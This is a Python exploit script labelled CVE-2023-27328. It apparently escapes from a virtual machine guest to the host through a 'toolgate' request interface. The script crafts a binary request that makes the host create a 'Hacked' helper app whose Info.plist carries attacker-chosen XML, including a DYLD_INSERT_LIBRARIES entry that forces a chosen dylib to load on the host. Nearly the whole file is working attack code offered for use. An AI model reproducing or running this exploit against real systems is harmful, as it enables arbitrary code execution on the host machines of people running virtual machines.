#!/usr/bin/env python3
# CVE-2023-27328
import argparse
import random
from pwn import *
from PIL import Image
from toolgate import *
tg = ToolgateClient()
def main(args):
plist_data = ''
if args.dylib:
dylib_path = args.dylib
log.info(f'Host will load {dylib_path}')
# This is the XML which will be inserted into the helper app Info.plist
plist_data = f"""evil
LSEnvironment
DYLD_INSERT_LIBRARIES
{dylib_path}
blabla
""".encode()
elif args.data:
plist_data = args.data.encode()
sgah_cmd = flat({
0: 20 + len(plist_data),
4: 0xACDCBABA,
8: 1,
12: len(plist_data),
16: 0x2028,
20: 0,
24: plist_data,
}, word_size=32)
log.info('Reading icon')
img = Image.open('./smile.png')
img_bytes = img.tobytes('raw', 'BGRA')
# Create a unique name so we're sure it will create a new app and not use
# an existing one.
rand_num = random.randint(1,10000)
bundle_name = f'Hacked_{rand_num}'
log.info(f'Creating {bundle_name}.app')
sgah_offset = 2000 + len(img_bytes)
buf1_data = flat({
0: 0x68, # opcode
4: 1,
8: 0,
12: 0,
16: len(sgah_cmd),
32: sgah_offset, # sgah_cmd offset
36: 0, # image icon flag, must be 0
40: f'{bundle_name}\0'.encode('utf-16le'),
562: f'/path/to/guest/binary_{rand_num}\0'.encode('utf-16le'),
1092: 'app shortcut item\0'.encode('utf-16le'),
1614: img.width, # image width
1618: img.height, # image height
1622: img_bytes, # image data
sgah_offset: sgah_cmd,
sgah_offset+1000: 0
}, word_size=32)
buf1 = tg.get_tg_buffer_from_data(buf1_data)
buf2 = tg.get_tg_buffer_from_data(b'\0'*len(buf1_data), writeable=True)
req = create_tg_request_type(0, 2)(TG_REQUEST_FAVRUNAPPS, TG_STATUS_PENDING, 0, 2, 0, b'', (TG_BUFFER * 2)(buf1, buf2))
tg.submit(req)
log.info('Done :)')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--data',
help='The data to insert into the plist file',
required=False)
parser.add_argument(
'--dylib',
help='Specify a path to a dylib which will be loaded with DYLD_INSERT_LIBRARIES',
required=False)
args = parser.parse_args()
if not args.data and not args.dylib:
print(f'Error: --data or --dylib required')
exit(1)
main(args)